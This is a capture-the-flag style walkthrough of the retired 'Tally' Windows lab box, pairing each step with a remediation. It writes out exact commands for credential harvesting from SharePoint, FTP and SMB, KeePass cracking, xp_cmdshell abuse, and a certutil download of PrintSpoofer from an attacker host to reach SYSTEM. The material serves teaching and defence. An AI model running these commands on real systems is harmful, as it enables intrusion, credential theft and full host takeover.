Tally
Summary
A publicly accessible SharePoint document library on the target IIS server exposed an Office document containing plaintext FTP credentials. Logging into FTP with those credentials revealed a KeePass password vault belonging to an internal user; cracking its weak master password offline unlocked stored accounts, including an SMB share credential pair. Those credentials granted access to a file share where a SQL Server test utility stored a sysadmin-level database connection string directly inside the binary.
Authenticating to SQL Server with those credentials and re-enabling the xp_cmdshell stored procedure yielded operating-system command execution as the SQL Server service account, which held the SeImpersonatePrivilege right. PrintSpoofer exploited that privilege to impersonate NT AUTHORITY\SYSTEM, achieving full administrative control of the Windows host.
Command conventions
The commands below refer to the target and to any recovered credentials by variable rather than by value. Bind them in your shell before running anything; the values this box yielded are not published, so use your own.
export TARGET="<retired-instance-ip>"
export ATTACKER_IP="<your-vpn-address>"
export PASSWORD2="<the-password-you-recovered>"
export PASSWORD3="<the-password-you-recovered>"
export PASSWORD4="<the-password-you-recovered, for Finance>"Some commands also carry a value in angle brackets (<sa_password>), which you replace inline with what the step before it turned up.
Attack path: how the box was taken
Exact commands 2
Full TCP port scan with version detection and default scripts.
$ nmap -sC -sV -p- --open -T4 $TARGET -oN tally_full.nmapConfirm SharePoint by looking for X-SharePointHealthScore in the response headers.
$ curl -sI http://$TARGET/Exact commands 3
Scrape the anonymous document library listing for downloadable Office files.
$ curl -sS "http://$TARGET/Shared%20Documents/Forms/AllItems.aspx" | grep -oP 'href="[^"]*\.docx"'Download the credential document without authenticating.
$ curl -sS -L -o ftp-details.docx "http://$TARGET/Shared%20Documents/ftp-details.docx"Strip XML tags to read the plaintext credential content: reveals ftp_user / $PASSWORD2.
$ unzip -p ftp-details.docx word/document.xml | sed 's/<[^>]*>//g'FixRequire authentication to access SharePoint document librariesCritical
Exact commands 3
Authenticate to FTP and download the KeePass database; the literal double-quote and dollar sign in the password require careful shell quoting.
$ curl --user "ftp_user:$PASSWORD2" "ftp://$TARGET/User/Tim/Files/tim.kdbx" -o tim.kdbxExtract and crack the KeePass master password hash, result: $PASSWORD3.
$ keepass2john tim.kdbx > tim.hash && john --wordlist=/usr/share/wordlists/rockyou.txt tim.hashDump all vault entries to recover Finance:$PASSWORD4 and any other stored credentials.
$ python3 -c "from pykeepass import PyKeePass; kp=PyKeePass('tim.kdbx', password='$PASSWORD3'); [print(e.title, e.username, e.password) for e in kp.entries]"FixEnforce a strong KeePass master password and restrict vault file storageHigh
Exact commands 3
Confirm SMB authentication and list accessible shares.
$ nxc smb $TARGET -u Finance -p "$PASSWORD4" --sharesRetrieve the binary from the nested share path.
$ smbclient "//$TARGET/ACCT" -U "Finance%$PASSWORD4" -c 'cd zz_Migration\Binaries\"New folder"; get tester.exe'Extract the embedded SQL Server connection string: reveals sysadmin credentials in plaintext.
$ strings tester.exe | grep -iE 'server|uid|pwd|password|data source|initial catalog'FixRemove hardcoded credentials from application binaries and audit network shares for credential exposureCritical
Exact commands 3
Connect as sysadmin; substitute <sa_password> with the credential from the tester.exe strings output.
$ impacket-mssqlclient "sa:<sa_password>@$TARGET" -windows-authRe-enable xp_cmdshell from within the authenticated sysadmin session: no CVE required.
$ EXEC sp_configure 'show advanced options', 1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;Read user.txt: yields <user.txt>.
$ EXEC xp_cmdshell 'powershell -NoProfile -ExecutionPolicy Bypass -Command "Get-ChildItem -Path C:\Users -Filter user.txt -Recurse -Force -ErrorAction SilentlyContinue | Get-Content"';FixPermanently disable xp_cmdshell and enforce least-privilege SQL Server accountsHigh
Exact commands 4
Serve PrintSpoofer64.exe from my machine (run in background before the next step).
$ python3 -m http.server 9000Stage the privilege-escalation binary on the target through xp_cmdshell; substitute $ATTACKER_IP.
$ EXEC xp_cmdshell "certutil -urlcache -f http://$ATTACKER_IP:9000/PrintSpoofer64.exe C:\Windows\Temp\ps.exe";Execute PrintSpoofer to spawn a SYSTEM command; write output to a world-readable path to work around Temp directory restrictions.
$ EXEC xp_cmdshell 'cmd /c del C:\ProgramData\r.txt 2>nul'; EXEC xp_cmdshell 'cmd /c C:\Windows\Temp\ps.exe -c "cmd /c whoami > C:\ProgramData\r.txt & type C:\Users\Administrator\Desktop\root.txt >> C:\ProgramData\r.txt & icacls C:\ProgramData\r.txt /grant Everyone:F"';Read the output: confirms NT AUTHORITY\SYSTEM and yields <root.txt>.
$ EXEC xp_cmdshell 'cmd /c type C:\ProgramData\r.txt';FixRun SQL Server under a Managed Service Account and eliminate unnecessary token-impersonation privilegesHigh
Attack patterns used
The transferable techniques behind this compromise.
SeImpersonate Abuse (Token Impersonation)Windows · Privilege EscalationT1134.001
What it is
Service accounts (IIS, MSSQL, etc.) often hold SeImpersonatePrivilege. Coerce a SYSTEM process into authenticating to an endpoint you control (a COM service, an RPC interface, a named pipe) then impersonate the SYSTEM token it presents, escalating from the service account to NT AUTHORITY\SYSTEM. Churrasco (Token Kidnapping) does this against RPCSS and MSDTC on Server 2003; the 'Potato' family (JuicyPotato, RoguePotato, PrintSpoofer, GodPotato, JuicyPotatoNG) are the modern tools for the same privilege on later Windows.
Why it works
Holding SeImpersonate is normal for service accounts, but Windows' token-impersonation model lets it be turned into full SYSTEM via local authentication coercion. Remediate by removing the privilege where unneeded and keeping hosts patched against the specific coercion vectors.
Read more
Exposed services
| 21/tcp | ftp |
| 80/tcp | http Microsoft IIS httpd 10.0 |
| 81/tcp | http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) |
| 135/tcp | msrpc Microsoft Windows RPC |
| 139/tcp | netbios-ssn Microsoft Windows netbios-ssn |
| 445/tcp | microsoft-ds Microsoft Windows Server 2008 R2 - 2012 microsoft-ds |
| 1433/tcp | ms-sql-s Microsoft SQL Server 2016 13.00.1601.00; RTM |
| 5985/tcp | http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) |
| 32843/tcp | http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) |
| 32844/tcp | ssl/unknown |
| 32846/tcp | msexchange-logcopier Microsoft Exchange 2010 log copier |
| 47001/tcp | unknown recon-sweep-discovered |
| 49667/tcp | unknown recon-sweep-discovered |
| 49668/tcp | unknown recon-sweep-discovered |
| 49669/tcp | unknown recon-sweep-discovered |
| 49670/tcp | unknown recon-sweep-discovered |
Techniques used
New to these ideas? Learn the concepts in Hack & Learn.